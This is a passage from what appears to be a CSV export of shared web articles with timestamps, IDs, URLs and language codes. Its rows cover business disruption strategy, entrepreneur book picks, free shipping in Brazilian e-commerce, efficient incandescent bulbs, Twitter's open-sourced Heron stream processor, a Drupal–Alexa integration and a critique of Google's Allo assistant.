""wrong."" Things are far murkier when one is actually in the midst of disruption's uncertain, oft-hyped early stages. In the 1980s, steel giants famously underestimated the potential of mini-mills. In the 1980s and 1990s, the personal computer put a stop to Digital Equipment Corporation, Wang Laboratories, and other minicomputer makers. More recently, web retailers have disrupted physical ones, and Airbnb and Uber Technologies have disrupted lodging and car travel, respectively. The examples run the gamut from database software to boxed beef. What they have in common is how often incumbents find themselves on the wrong side of a big trend. No matter how strong their ingoing balance sheets and market share-and sometimes because of those very factors-incumbents can't seem to hold back the tide. The champions of disruption are far more often the attackers than the established incumbent. The good news for incumbents is that many industries are still in the early days of digital disruption. Print media, travel, and lodging provide valuable illustrations of the path increasingly more will follow. For most, it's early enough to respond. (For a quick guide to assessing your organization's position in the digital disruption journey, see "" Digital disruption: A discussion guide for incumbents ."" [PDF-7.6MB]) What's the secret of those incumbents that do survive-and sometimes even thrive? One aspect surely relates to the ability to recognize and overcome the typical pattern of response (or lack thereof) that characterizes companies in the incumbent's position. This most often requires acuity of foresight and a willingness to respond boldly before it's too late, which usually means acting before it is obvious you have to do so. As Reed Hastings, the CEO of Netflix, pointed out (right as his company was making the leap from DVDs to streaming), most successful organizations fail to look for new things their customers want because they're afraid to hurt their core businesses. Clayton Christensen called this phenomenon the innovator's dilemma. Hastings simply said, ""Companies rarely die from moving too fast, and they frequently die from moving too slowly."" We are all great strategists in hindsight. The question is what to do when you are in the middle of it all, under the real-world constraints and pressures of running a large, modern company. This article looks at the four stages of disruption from an incumbent's perspective, the barriers to overcome, and the choices and responses needed at each stage. Where you are and what you need It may help to view these stages on an S-curve (exhibit). At first, young companies struggle with uncertainty but are agile and willing to experiment. At this time, companies prize learning and optionality and work toward creating value based on the expectation of future earnings. The new model then needs to reach some critical mass to become a going concern. As they mature-that is, become incumbents-mind-sets and realities change. The established companies lock in routines and processes. They iron out and standardize variability amid growing organizational complexity. In the quest for efficiency, they weed out strategic options and reward executives for steady results. The measure of success is now delivery of consistent, growing cash flows in the here and now. The option-rich expectancy of future gain is replaced by the treadmill of continually escalating performance expectations. In a disruption, the company heading toward the top of the old S-curve confronts a new business model at the bottom of a new S-curve. The circle of creative destruction is renewed, but this time the shoe is on the other foot. Two primary challenges emerge. The first is to recognize the new S-curve, which starts with a small slope, and often-unimpressive profitability, and at first does not demand attention. After all, most companies have shown they are very good at dealing with obvious emergencies, rapidly corralling resources and acting decisively. But they struggle to deal with the slow, quiet rise of an uncertain threat that does not announce itself. Second, the same factors that help companies operate strongly toward the top of an S-curve often hinder them at the bottom of a new one. Because different modes of operation are required, it's hard to do the right thing-even when you think you know what the right thing might be. This simplified model, of a new S-curve crashing slow motion into an old one, gives us a way to look at the problem from the incumbent's perspective, and to appreciate the actual challenges each moment presents along the way. In the first stage, the new S-curve is not yet a curve at all. In the second, the new business model gets validated, but its impact is not forceful enough to fundamentally bend the performance trajectory of the incumbent. In the third stage, however, the new model gains a critical mass and its impact is clearly felt. In the fourth, the new model becomes the new normal as it reaches its own maturity. Let's step through these stages in sequence and see what is going on. Stage one: Signals amidst the noise In the late 1990s, PolyGram was one of the world's top record labels, with a roster boasting Bob Marley, U2, and top classical artists. But, in 1998, Cornelis Boonstra, CEO of PolyGram's Dutch parent, Koninklijke Philips, flew to New York, met with Goldman Sachs, and arranged to sell PolyGram to Seagram for $10.6 billion. Why? Because Boonstra had come across research showing that consumers were using the new recordable CD-ROM technology (which Philips coinvented) largely for one purpose: to copy music. In hindsight, this is a good example of how, in the early stages of disruption, demand begins to ""purify"" and lose the distortions imposed on it by businesses. The MP3 format had barely been invented, Napster was a mere gleam in Sean Parker's eye, and PolyGram was riding at the top of its S-curve-but Boonstra detected the first signs of transformational change and decided to act swiftly and decisively. Within a decade, compact-disc and DVD sales in the United States dropped by more than 80 percent. Similarly, Telecom New Zealand foresaw the deteriorating economics of its Yellow Pages business and sold its directories business in 2007 for $2.2 billion (a nine-time revenue multiple) while numerous other telecom companies held on until the businesses were nearly worthless. The newspaper industry had no shortage of similar signals. As early as 1964, media theorist Marshall McLuhan observed that the industry's reliance on classified ads and stock-market quotes made it vulnerable: ""Should an alternative source of easy access to such diverse daily information be found, the press will fold."" The rise of the Internet created just such a source, and start-ups such as eBay opened a new way for people to list goods for sale without the use of newspaper ads. Schibsted was one of the earliest media companies to both anticipate the threat and act on the opportunity. As early as 1999, the company became convinced that ""The Internet is made for classifieds, and classifieds are made for the Internet."" It's not surprising that most others publishers didn't react. At this early stage of disruption, incumbents feel barely any impact on their core businesses except in the distant periphery. In short, they don't ""need"" to act. It takes rare acuity to make a preemptive move, likely in the face of conflicting demands from stakeholders. What's more, it can be difficult to work out which trends to ignore and which to react to. Gaining sharper insight, and escaping the myopia of this first stage, requires incumbents to challenge their own ""story"" and to disrupt long-standing (and sometimes implicit) beliefs about how to make money in a given industry. As our colleagues put it in a recent article, ""These governing beliefs reflect widely shared notions about customer preferences, the role of technology, regulation, cost drivers, and the basis of competition and differentiation. They are often considered inviolable-until someone comes along to violate them."" The process of reframing these governing beliefs involves identifying an industry's foremost notion about value creation and then turning it on its head to find new forms and mechanisms for creating value. Stage two: Change takes hold The trend is now clear. The core technological and economic drivers have been validated. At this point, it's essential for established companies to commit to nurturing new initiatives so that they can establish footholds in the new sphere. More important, they need to ensure that new ventures have autonomy from the core business, even if the goals of the two operations conflict. The idea is to act before one has to. But with disruption's impact still not big enough to dampen earnings momentum, motivation is often missing. Even as online classifieds for cars and real estate began to take off and Craigslist gained momentum, most newspaper publishers lacked a sense of urgency because their own market share remained largely unaffected. And it's not like the new players were making millions (yet). There was no performance envy. But Schibsted did find the necessary motivation. ""When the dot-com bubble burst, we continued to invest, in spite of the fact that we didn't know how we were going to make money online,"" recalls then-CEO Kjell Aamot. ""We also allowed the new products to compete with the old products."" Offering free online classifieds directly cannibalized its newspaper business, but Schibsted was willing to take the risk. The company didn't just act; it acted radically. Now, let's openly acknowledge how hard it is for a company's leaders to commit to supporting experimental ventures when the business is climbing the S-curve. When Netflix disrupted itself in 2011 by shifting focus from DVDs to streaming, its share price dropped by 80 percent. Few boards and investors can handle that kind of pain when the near-term need is debatable. The vague longer-term threat just doesn't seem as dangerous as the immediate hardship. After all, incumbents have existing revenue streams to protect-start-ups only have upside to capture. Additionally, management teams are more comfortable developing strategies for businesses they know how to operate, and are naturally reluctant to enter a new game with rules they don't understand. The upshot: most incumbents dabble, making small investments that won't flatten their current S-curve and guard against cannibalization. Usually, they focus too heavily on finding synergies (always looking for efficiency) rather than fostering radical experimentation. The illusion that this dabbling is getting you into the game is all too tempting to believe. Many newspapers built online add-ons to their classified businesses, but few were willing to risk cannibalizing the traditional revenue streams, which at this point were still far bigger and more profitable. And remember, at this time, Schibsted had not yet been rewarded for its early action: its results looked pretty similar to its peers. In time, of course, bolder action becomes necessary, and executives must commit to nurturing potentially dilutive and small next-horizon businesses in a pipeline of initiatives. Managing such a portfolio requires high tolerance for ambiguity, and it requires executives to adapt to shifting conditions, both inside and outside the company, even as the aspiration to deliver favorable outcomes for shareholders remains constant. The difficulty is the tendency to protect the core at the expense of the periphery. Not only are there strong, short-term financial incentives to protect the core, but it's also often painful to shift focus from core businesses in which one has, understandably enough, an emotional as well as a financial investment. No small part of the challenge is to accept that the previous status quo is no longer the baseline. Grocery retailer Aldi has disrupted numerous incumbents globally with its low-price model. Aldi's future success was visible while Aldi was still nascent in the market. Yet many incumbent supermarkets chose to avoid the near-term pain of sharpening entry price points and improving their private-label brands. In hindsight, those moves would have been highly net-present-value positive with respect to avoided loss-as Aldi has continued its strong growth across three continents. Stage three: The inevitable transformation By now, the future is pounding on the door. The new model has proved superior to the old, at least for some critical mass of adopters, and the industry is in motion toward it. At this stage of disruption, to accelerate its own transformation, the incumbent's challenge lies in aggressively shifting resources to the new self-competing ventures it nurtured in stage two. Think of it as treating new businesses like venture-capital investments that only pay off if they scale rapidly, while the old ones are subject to a private-equity-style workout. Making this tough shift requires surmounting the inertia that can afflict companies even in the best of times. In fact, our experience suggests stage three is the hardest one for incumbents to navigate. As company performance starts to suffer, tightening up budgets, established companies naturally tend to cut back even further on peripheral activities while focusing on the core. The top decision makers, who usually come from the biggest business centers, resist having their still-profitable (though more sluggishly growing) domains starved of resources in favor of unproven upstarts. As a result, leadership often under invests in new initiatives, even as it imposes high performance hurdles on them. Legacy businesses continue to receive the lion's share of resources instead. By this time, the very forces causing pressure in the core make the business even less willing and able to address those forces. The reflex to conserve resources kicks in just when you most need to aggressively reallocate and invest. Boards play a significant role in this as well. Far too often, boards are unwilling (or unable) to change their view of baseline performance, further exacerbating the problem. Often a board's (understandable) reaction to reduced performance is to push management even harder to achieve ambitious goals within the current model, ignoring the need for a more fundamental change. This only worsens problems in the future. Further complicating matters, incumbents with initially strong positions can take false comfort at this stage, because the weaker players in the industry get hit hardest first. The narrative ""it is not happening to us"" is all too tempting to believe. The key is to monitor closely the underlying drivers, not just the hindsight of financial outcomes. As the tale goes, ""I don't have to outrun the bear . . . I just have to outrun you."" Except when it comes to disruption, that strategy merely buys time. If the bear keeps running, it will get to you, too. The typical traditional newspaper operator, likewise, wasn't blind to a shift taking place, but it rarely managed to mount a response that was sufficiently aggressive. One notable exception was former digital laggard Axel Springer. The German media company was ""a mere Internet midget,"" according to Financial Times Deutschland , until it leapt into action in 2005. It went on a shopping spree, acquiring 67 digital properties and launching 90 initiatives of its own by 2013. Like Schibsted, it saw the value pools moving to online classifieds and made the leap. The lesson is that incumbents can win even with a late start, provided that they throw themselves in wholly. Today, digital media contributes 70 percent of Axel Springer's earnings before interest, taxes, depreciation, and amortization. The core has become the periphery. To generate the acceleration needed at this stage of the game, incumbents must embark on a courageous and unremitting reallocation of resources from the old to the new model-and show a willingness to run new businesses differently (and often separately) from the old ones. Perhaps nothing underlines this point more than Axel Springer's 2013 divestment of some of its strongest legacy print-media products, which accounted for about 15 percent of its sales, to Germany's number-three print-media player, Funke Mediengruppe. These products, such as the Berliner Morgenpost , owned by Axel Springer since 1959, were previously a core part of the corporate DNA and emblems of its journalistic culture. But no more. They realized that the future value of the business was not just about the continuation of today's earnings but rather relied on the creation of a new economic engine. When incumbents lack the in-house capability to build new businesses, they must look to acquire them instead. Here the challenge is to time acquisitions somewhere between where the business model is proved but valuations have yet to become too high-all while making sure the incumbent is a ""natural best owner"" of the new businesses it acquires. Examples of this approach in the financial sector include BBVA's acquisition of Simple and Capital One's acquisition of the design firm Adaptive Path. Strategy in a digital age How to develop corporate and business-unit strategies in a digitally disrupted world. See the collection Stage four: Adapting to the new normal In this late stage, the disruption has reached a point when companies have no choice but to accept reality: the industry has fundamentally changed. For incumbents, their cost base isn't in line with the new (likely much shallower) profit pools, their earnings are caving in, and they find themselves poorly positioned to take a strong market position. This is where print media is now. The classifieds' ""rivers of gold"" have dried up, making survival the first priority, and sustainability and growth the second. In 2013, the CEO of Australia media company Fairfax Media told the International News Media Association World Congress, ""We know that at some time in the future, we will be predominantly digital or digital-only in our metropolitan markets."" True, some legacy mastheads have created powerful online news properties with high traffic, but display advertising and paywalls alone are for the most part not enough to generate a thriving revenue line, and social aggregation sites are continuing to drive unbundling. Typical media firms have had to undertake the multiple painful waves of restructuring and consolidation that may be needed while they seed growth and look for ways to monetize their brands. For the incumbents who, like Axel Springer and Schibsted, have made the leap, the adaptation phase brings new challenges. Having become majority digital businesses, they're fully exposed to the volatility and pace that comes with the territory. That is, their adaptation response is less a one-time event than a process of continual self-disruption. Think of Facebook upending its business model to go ""mobile first."" You can't be satisfied with the first pivot-you have to be prepared to keep doing it. In some cases, incumbents' capabilities are so highly tied to the old business model that rebirth through restructuring is unlikely to work, and an exit is the best way to preserve value. Eastman Kodak Company, for example, may have been better off leaving the photography business much faster, because its numerous strategies all failed to save it. When a business is built on a legacy technology that is categorically different from the new standard, even perfect foresight of the demise of film or CDs would not have solved the core problem that the digital replacement is fundamentally less profitable. The simple fact is that new profit pools may not be as deep as prior ones (as many newspaper publishers have come to believe). The challenge is to adapt and structurally realign cost bases to the new reality of profit pools, and accept that the ""new normal"" likely includes far fewer ""rivers of gold."" The reality is, most industries are still in stages one, two, and three. That's why the early experiences of media, music, and travel companies can prove so valuable. These first industries to transition to a digital reality highlight the social and human challenges that by their nature apply to companies in most every industry and geography. (For a quick guide to assessing your organization's position in the digital disruption journey, see "" Digital disruption: A discussion guide for incumbents ."" [PDF-7.6MB]) About the author(s) Chris Bradley is a principal in McKinsey's Sydney office, where Clayton O'Toole is a consultant. The authors wish to thank Adam Bird, Jules Carrigan, Angus Dawson, Dennis Ducro, and Jay Scanlan for their contributions to this article.",en
1464200214,CONTENT SHARED,4312678980890750477,3609194402293569455,6363237020312571525,,,,HTML,http://www.inc.com/geoffrey-james/2016s-best-books-for-entrepreneurs-so-far.html,2016's Best Books for Entrepreneurs (So Far),"In my previous column, I provided a list of books that provide invaluable road maps for the problems that beset today's economy and business environment. Today's column contains the best business books of the year (so far) that help entrepreneurs to become more successful. All of these books are in the running for my annual best business books of the year competition, so stay tuned. 1. Originals Subtitle: How Non-Conformists Move the World Author: Adam Grant 5 Second Summary: Explores how to recognize a good idea, speak up without getting silenced, build a coalition of allies, choose the right time to act, and manage fear and doubt, nurture originality in children and build cultures that welcome dissent. Best Quote: ""To be an original, you need to take radical risks. This belief is embedded so deeply in our cultural psyche that we rarely even stop to think about it. We admire astronauts like Neil Armstrong and Sally ride for having 'the right stuff'-the courage to leave the only planet humans have ever inhabited and adventure boldly into space. We celebrate heroes like Mahatma Gandhi and Martin Luther King Jr., who possessed enough conviction to risk their lives for the moral principles they held dear. We idolize icons like Steve Jobs and Bill Gates for having the audacity to drop out of school and go for broke, holing up in garages to will their technological visions into existence."" 2. #AskGaryVee Subtitle: One Entrepreneur's Take on Leadership, Social Media, and Self-Awareness Author: Gary Vaynerchuk 5 Second Summary: Presents advice on marketing, social media, entrepreneurship, including the use of Twitter to launch a small business, hiring superstars to creating a personal brand, launching products, and even staying healthy. Best Quote: ""the vast majority of people tend to plate to the middle, which is why they usually only succeed up to a certain level and then plateau. Alternatively, they get stuck in one or the other, getting so bogged down and buy minutae or politics they lose sight of the clouds, or so into the clouds they lose the appetite or neglect the skills they need to execute successfully. Ideas are worthless without the execution; execution it is pointless without the ideas. You have to learn to prioritize properly and quickly identify what's going to move you further ahead in what's going to make you stall."" 3. The Third Wave Subtitle: An Entrepreneur's Vision of the Future Author: Steve Case 5 Second Summary: Along with self-congratulatory boasting typical of books authored by CEOs, Case explains how technology companies, in order to be successful in the future, must rethink their relationships with customers, with competitors, and especially with governments. Best Quote: ""I didn't want to write a memoir, but I didn't want to share some of my stories, as I do believe, a Shakespeare famously said, ' what's past is prologue'-that there are lessons to be learned. I didn't want to write a guidebook for budding entrepreneurs, as there are plenty of those-but I didn't want to explain by the rules of the entrepreneurial game are changing. And I didn't want to get too wonky on policy, but I do believe America is at risk of losing its lead as the world's most entrepreneurial nation, and I wanted to explain why-in what we can and must do about it."" 4. Find Your Extraordinary Subtitle: Dream Bigger, Live Happier, and Achieve Success on Your Own Terms Author: Jessica DiLullo Herrin 5 Second Summary: Offers a series of ideas and strategies intended to help you to ""embrace your individuality, to believe in yourself beyond reason, and to step up to creating your own definition of happiness and success."" Best Quote: ""I believe that no matter how you contribute to the world-whether it's by becoming a doctor or a teacher or a stay-at-home mother-your success and whatever you choose is equally important. None of these choices is any less valid than another-they are simply different. The world would be a bizarre dystopia if everyone's value was measured by the same yardstick. We don't all have the same definition of happiness, and thus we don't all have the same definition of success."" 5. Born for This Subtitle: How to Find the Work You Were Meant to Do Author: Chris Guillebeau 5 Second Summary: Offers suggestions for finding your ideal work and ideal working conditions, create plans that will allow you to take smarter career risks and earn extra cash on top of your primary stream of income. Best Quote: ""even if you receive a regular paycheck and have no intention of ever starting a business, it's important to understand that you are still essentially self-employed. No one will look out for your interests as much as you will, so you should make active decisions and take responsibility for your own success as much as possible. Even if you have absolutely no desire to start your own business and we happy working for a conventional employer, there are plenty of tactics and strategies for turning that job into the work you were born to do."" 6. The Power of Broke Subtitle: How Empty Pockets, a Tight Budget, and a Hunger for Success Can Become Your Greatest Competitive Advantage Authors: Daymond John and Daniel Paisner 5 Second Summary: Help you turn financial difficulties into personal advantage by using them to help connect with your customers more authentically, market your ideas more imaginatively, stay focused on your goals, and devise innovative solutions. Best Quote: ""Let's face it, when you're up against all odds, when you've exhausted every opportunity, when you're down to your last dime... that's when you've got no choice but to succeed. You're out of options, man. So you double down, dig deep, and switch into that relentless turbo mode we all got kicking around in our machinery. And that's when the real magic happens."" 7. Alibaba Subtitle: The House That Jack Ma Built Author: Duncan Clark 5 Second Summary: Tells the story of how Jack Ma built Alibaba into one of the world's largest companies, an e-commerce empire on which hundreds of millions of Chinese consumers depend, in process making himself an icon for China's booming private sector. Best Quote: ""Jack combines a lot of showmanship with a relish for defining stereotypes. Where are other business moguls like to talk about their connections or academic credentials, Jack enjoys talking down his own: ' I don't have a ritual or powerful father not even a powerful'. Having never studied abroad, he likes to describe himself as ' one hundred percent made in China.' He stands out as a tech company founder with no background in technology. At Stanford University in 2013 he confessed, 'Even today, I still don't understand what coding is all about, I still don't understand the technology behind the Internet.'""",en
1464200745,CONTENT SHARED,-3170783292462058942,2146546851324474301,-1095512429704997588,,,,HTML,https://www.ecommercebrasil.com.br/artigos/nao-existe-frete-gratis/,Não existe frete grátis!,"Mais uma edição do Dia do Frete Grátis no Brasil está se aproximando. Esta é mais uma das diversas datas-chave para o e-commerce por aumentar consideravelmente o número de acessos e de compras nos sites de varejo online. É uma ótima oportunidade dos clientes adquirirem seus produtos economizando com transporte, porém deve-se ter consciência que o serviço inteiramente grátis não existe. Se ele não está sendo cobrado do cliente final, alguém está arcando com esse custo. A política do frete grátis surgiu na década de 1990, nos primórdios do desenvolvimento deste segmento nos Estados Unidos. Naquele tempo, a maioria dos varejistas oferecia essa opção como forma de estimular clientes a comprar nessa modalidade até então desconhecida. Funcionou no início. Era muito cômodo para os consumidores comprarem seus produtos, recebê-los em casa sem o menor esforço e não arcar com o custo deste serviço. Além disso, custear o serviço de entrega não afetava substancialmente os lucros das empresas daquele país. Ao aterrisar no Brasil, o modelo de negócios se baseou na experiência americana e passou a oferecer o frete grátis. No entanto, vale ressaltar que a logística brasileira é muito deficitária e, por isso, as despesas com transporte são maiores aqui. Sendo assim, muitas empresas do e-commerce brasileiro passaram a operar no vermelho devido à falta de planejamento logístico, o que fez com que os índices de frete grátis venham caindo ano após ano. Neste cenário, as empresas têm preferido repassar os custos do frete para os clientes. Mas de que forma fazer com que o cliente pague esse valor sem que haja o abandono de carrinho? A saída encontrada pelas empresas foi a oferta de diversas opções de entrega aos clientes, cada uma com um custo diferenciado baseado nos benefícios oferecidos. Por exemplo, entrega no mesmo dia cobra um valor mais elevado, já a compra sem necessidade de emergência na entrega possui um valor mais baixo ou gratuito. Apesar de estar diminuindo gradativamente, a oferta de frete grátis ainda é muito comum no Brasil, pois ainda é uma tática eficiente para atrair e fidelizar clientes, aumentar o tíquete médio e investir em categorias específicas. Quando bem programada, uma campanha de fretes pode trazer diversos benefícios: Conquista de clientes Você pode oferecer frete gratuito na primeira compra para atrair novos clientes, limitar o frete grátis para determinados produtos (geralmente os de maior valor), em datas comemorativas, oferecer cupons de desconto ou gratuidade do frete na próxima compra, etc. Essas ações podem garantir uma boa experiência de compra aos consumidores, que voltarão a comprar e se tornarão promotores da sua marca. Aumento do tíquete médio Diversas pesquisas demonstram que os clientes se dispõe a comprar mais produtos desde que recebam o frete grátis. Então oferecer o serviço a partir de um valor mínimo estimula os consumidores a consumir mais visando a gratuidade do transporte de seus produtos. Estímulo do consumo de um público-alvo O frete pode ser um aliado para promover as compras em uma parcela específica da população. Pode ser feita uma ação voltada à uma região específica do país (geralmente a que possui maior recorrência de vendas ou a mais barata para levar os produtos). Vale lembrar que devido à baixa qualidade da logística no Brasil, muitas pessoas preferem pagar mais caro por um serviço de qualidade. O essencial é garantir a satisfação do cliente e a oferta de condições de frete favoráveis a um custo acessível ajuda, e muito, neste aspecto. Aproveite as soluções inovadoras disponíveis no mercado e elabore campanhas de frete segmentadas e mais eficientes, de forma que não afetem a margem de lucro de sua empresa.",pt
1464203248,CONTENT SHARED,-8578355592291788601,-2979881261169775358,-3679307345123127680,,,,HTML,http://www.telegraph.co.uk/science/2016/03/12/return-of-incandescent-light-bulbs-as-mit-makes-them-more-effici/,Return of incandescent light bulbs as MIT makes them more efficient than LEDs,"Usually traditional light bulbs are only about five per cent efficient, with 95 per cent of the energy being lost to the atmosphere. In comparison LED or florescent bulbs manage around 14 per cent efficiency. But the scientists believe that the new bulb could reach efficiency levels of 40 per cent. And it shows colours far more naturally than modern energy-efficient bulbs. Traditional incandescent bulbs have a 'colour rendering index' rating of 100, because they match the hue of objects seen in natural daylight. However even 'warm' finish LED or florescent bulbs can only manage an index rating of 80 and most are far less. ""This experimental device is a proof-of-concept, at the low end of performance that could be ultimately achieved by this approach,"" said principal research scientist Ivan Celanovic. ""An important feature is that our demonstrated device achieves near-ideal rendering of colours. ""That is precisely the reason why incandescent lights remained dominant for so long: their warm light has remained preferable to drab fluorescent lighting for decades."" Thomas Edison patented the first commercially viable incandescent light bulb more than 130 years ago so that ""none but the extravagant"" would ever ""burn tallow candles."" It works by heating a thin tungsten wire to temperatures of around 2,700 degrees Celsius. That hot wire emits what is known as black body radiation, a very broad spectrum of light that provides a warm look and a faithful rendering of all colours in a scene.",en
1464203275,CONTENT SHARED,6409304780354173378,-2979881261169775358,-3679307345123127680,,,,HTML,https://blog.twitter.com/2016/open-sourcing-twitter-heron,Open Sourcing Twitter Heron | Twitter Blogs,"Last year we announced the introduction of our new distributed stream computation system, Heron. Today we are excited to announce that we are open sourcing Heron under the permissive Apache v2.0 license. Heron is a proven, production-ready, real-time stream processing engine, which has been powering all of Twitter's real-time analytics for over two years. Prior to Heron, we used Apache Storm , which we open sourced in 2011 . Heron features a wide array of architectural improvements and is backward compatible with the Storm ecosystem for seamless adoption. Everything that happens in the world happens on Twitter. That generates a huge volume of information in the form of billions of live Tweets and engagements. We need to process this constant stream of data in real-time to capture trending topics and conversations and provide better relevance to our users. This requires a streaming system that continuously examines the data in motion and computes analytics in real-time. Heron is a streaming system that was born out of the challenges we faced due to increases in volume and diversity of data being processed, as well as the number of use cases for real-time analytics. We needed a system that scaled better, was easier to debug, had better performance, was easier to deploy and manage, and worked in a shared multi-tenant cluster environment. To address these requirements, we weighed the options of whether to extend Storm, switch to another platform, or to develop a new system. Extending Storm would have required extensive redesign and rewrite of its core components. The next option we considered was using an existing open-source solution. However, there are a number of issues with respect to making several open systems work in their current form at our scale. In addition, these systems are not compatible with Storm's API. Rewriting the existing topologies with a different API would have been time consuming, requiring our internal customers to go through a very long migration process. Furthermore, there are different libraries that have been developed on top of the Storm API, such as Summingbird. If we changed the underlying API of the streaming platform, we would have had to rewrite other higher-level components of our stack. We concluded that our best option was to rewrite the system from the ground-up, reusing and building upon some of the existing components within Twitter. Enter Heron. Heron represents a fundamental change in streaming architecture from a thread-based system to a process-based system. It is written in industry-standard languages (Java/C++/Python) for efficiency, maintainability, and easier community adoption. Heron is also designed for deployment in modern cluster environments by integrating with powerful open source schedulers, such as Apache Mesos , Apache Aurora , Apache REEF , Slurm . One of our primary requirements for Heron was ease of debugging and profiling. Heron addresses this by running each task in a process of its own, resulting in increased developer productivity as developers are able to quickly identify errors, profile tasks, and isolate performance issues. To process large amounts of data in real-time, we designed Heron for high scale, as topologies can run on several hundred machines. At such a scale, optimal resource utilization is critical. We've seen 2-5x better efficiency with Heron, which has saved us significant OPEX and CAPEX costs. This level of efficiency was made possible by both the custom IPC layer and the simplification of the computational components' architecture. Running at Twitter-scale is not just about speed, it's also about ease of deployment and management. Heron is designed as a library to simplify deployment. Furthermore, by integrating with off-the-shelf schedulers, Heron topologies safely run alongside critical services in a shared cluster, thereby simplifying management. Heron has proved to be reliable and easy to support, resulting in an order of magnitude reduction of incidents. We built Heron on the basis of valuable knowledge garnered from our years of experience running Storm at Twitter. We are open sourcing Heron because we would like to share our insights and knowledge and continue to learn from and collaborate with the real-time streaming community. Our early partners include both Fortune 500 companies, including Microsoft, and startups who are already using Heron for an expanding set of real-time use cases, including ETL, model enhancement, anomaly/fraud detection, IoT/IoE applications, embedded systems, VR/AR, advertisement bidding, financial, security, and social media. ""Heron enables organizations to deploy a unique real-time solution proven for the scale and reach of Twitter,"" says Raghu Ramakrishnan, Chief Technology Officer (CTO) for the Data Group at Microsoft. ""In working with Twitter, we are contributing an implementation of Heron that could be deployed on Apache Hadoop clusters running YARN and thereby opening up this technology to the entire big data ecosystem."" We are currently considering moving Heron to an independent open source foundation -. if you want to join this discussion, see this issue on GitHub. To join the Heron community, we recommend getting started at heronstreaming.io, joining the discussion on Twitter at @heronstreaming and viewing the source on GitHub. Acknowledgements Large projects like Heron would not have been possible without the help of many people. Thanks to: Maosong Fu , Vikas R. Kedigehalli , Sailesh Mittal, Bill Graham , Neng Lu , Jingwei Wu , Christopher Kellogg , Andrew Jorgensen , Brian Hatfield , Michael Barry , Zhilan Zweiger , Luc Perkins , Sanjeev Kulkarni , Siddarth Taneja , Nikunj Bhagat , Mengdie Hu , Lawrence Yuan , Zuyu Zhang , and Jignesh Patel who worked on architecting, developing, and productionizing Heron. Thanks to the open source and legal teams: Sasa Gargenta , Douglas Hudson , Chris Aniszczyk . Thanks to early testers who gave us valuable feedback on deployment and documentation. References [1] Twitter Heron: Streaming at Scale , Proceedings of ACM SIGMOD Conference, Melbourne, Australia, June 2015. [2] Storm@Twitter , Proceedings of ACM SIGMOD Conference, Snowbird, Utah, June 2014.",en
1464205754,CONTENT SHARED,-6980020268309524947,-1032019229384696495,3498647633704503701,,,,HTML,https://www.acquia.com/blog/cross-channel-user-experiences-drupal/16/05/2016/3294766,Cross-channel user experiences with Drupal,"Last year around this time, I wrote that The Big Reverse of Web would force a major re-architecture of the web to bring the right information, to the right person, at the right time, in the right context. I believe that conversational interfaces like Amazon Echo are further proof that the big reverse is happening. New user experience and distribution platforms only come along every 5-10 years, and when they do, they cause massive shifts in the web's underlying technology. The last big one was mobile, and the web industry adapted. Conversational interfaces could be the next user experience and distribution platform - just look at Amazon Echo (aka Alexa), Facebook's messenger or Microsoft's Conversation-as-a-Platform . Today, hardly anyone questions whether to build a mobile-optimized website. A decade from now, we might be saying the same thing about optimizing digital experiences for voice or chat commands. The convenience of a customer experience will be a critical key differentiator. As a result, no one will think twice about optimizing their websites for multiple interaction patterns, including conversational interfaces like voice and chat. Anyone will be able to deliver a continuous user experience across multiple channels, devices and interaction patterns. In some of these cross-channel experiences, users will never even look at a website. Conversational interfaces let users disintermediate the website by asking anything and getting instant, often personalized, results. To prototype this future, my team at Acquia built a fully functional demo based on Drupal 8 and recorded a video of it. In the demo video below , we show a sample supermarket chain called Gourmet Market. Gourmet Market wants their customers to not only shop online using their website, but also use Echo or push notifications to do business with them. We built an Alexa integration module to connect Alexa to the Gourmet Market site and to answer questions about sale items. For example, you can speak the command: ""Alexa, ask Gourmet Market what fruits are on sale today"". From there, Alexa would make a call to the Gourmet Market website, finding what is on sale in the specified category and pull only the needed information related to your ask. On the website's side, a store manager can tag certain items as ""on sale"", and Alexa's voice responses will automatically and instantly reflect those changes. The marketing manager needs no expertise in programming -- Alexa composes its response by talking to Drupal 8 using web service APIs. The demo video also shows how a site could deliver smart notifications. If you ask for an item that is not on sale, the Gourmet Market site can automatically notify you via text once the store manager tags it as ""On Sale"". From a technical point of view, we've had to teach Drupal how to respond to a voice command, otherwise known as a ""Skill"", coming into Alexa. Alexa Skills are fairly straightforward to create. First, you specify a list of ""Intents"", which are basically the commands you want users to run in a way very similar to Drupal's routes. From there, you specify a list of ""Utterances"", or sentences you want Echo to react to that map to the Intents. In the example of Gourmet Market above, the Intents would have a command called GetSaleItems . Once the command is executed, your Drupal site will receive a webhook callback on /alexa/callback with a payload of the command and any arguments. The Alexa module for Drupal 8 will validate that the request really came from Alexa, and fire a Drupal Event that allows any Drupal module to respond. It's exciting to think about how new user experiences and distribution platforms will change the way we build the web in the future . As I referenced in Drupalcon New Orleans keynote , the Drupal community needs to put some thought into how to design and build multichannel customer experiences. Voice assistance, chatbots or notifications are just one part of the greater equation. If you have any further thoughts on this topic, please share them in the comments.",en
1464212056,CONTENT SHARED,5684817723169964056,3829784524040647339,1099058568997834734,,,,HTML,http://www.techinsider.io/google-allo-ai-assistant-isnt-that-cool-2016-5,Google's artificial intelligence is going in the wrong direction,"Artificial intelligence sounds cool in theory, and as Google CEO Sundar Pichai said at the Google I/O event on Wednesday, the company wants to ""help you get things done"" with AI. But one example that Google used to showcase its AI at Google I/O on Wednesday was anything but exciting. Using its new messaging app called Allo, Google showed how easy it is to find restaurants and make reservations, or find a movie and buy tickets. Allo is designed so you can do those things by having a conversational texting session, as you would with a friend, with a bot called @google that uses the company's new AI platform called Google Assistant. There were some other examples, like recognizing the context of messages and pictures you send between your friends and coming up appropriate short replies so you don't have to come up with the response yourself. Identifying photos people text me, suggesting replies to messages, and booking me a dinner table isn't a huge step forward in the world of bots. Facebook's budding ecosystem of third-party bots can do similar things, but it's clear it's early days and can't do those things very well . The truth is this: Texting back and forth with a bot isn't any easier or more useful than using an app or website the old-fashioned way, even if you're chatting with Google-powered AI. Google It also highlights a big challenge for Allo, which inexplicably competes with Google's main messaging app, Hangouts. (Or Gchat as you probably call it.) The addition of a Google bot isn't going to be enough to convince hundreds of millions of people to suddenly abandon popular messaging apps like iMessage, Facebook Messenger, or WhatsApp. I sound like a naysayer, but I'm comparing Google's AI initiative with that of an app called WeChat that's hugely popular in China that seems to be much more useful. If Google wanted to make its messaging app more enticing, it should look to the Chinese service WeChat, which is basically a Swiss Army knife for everything in your digital life. Not only does WeChat let you send 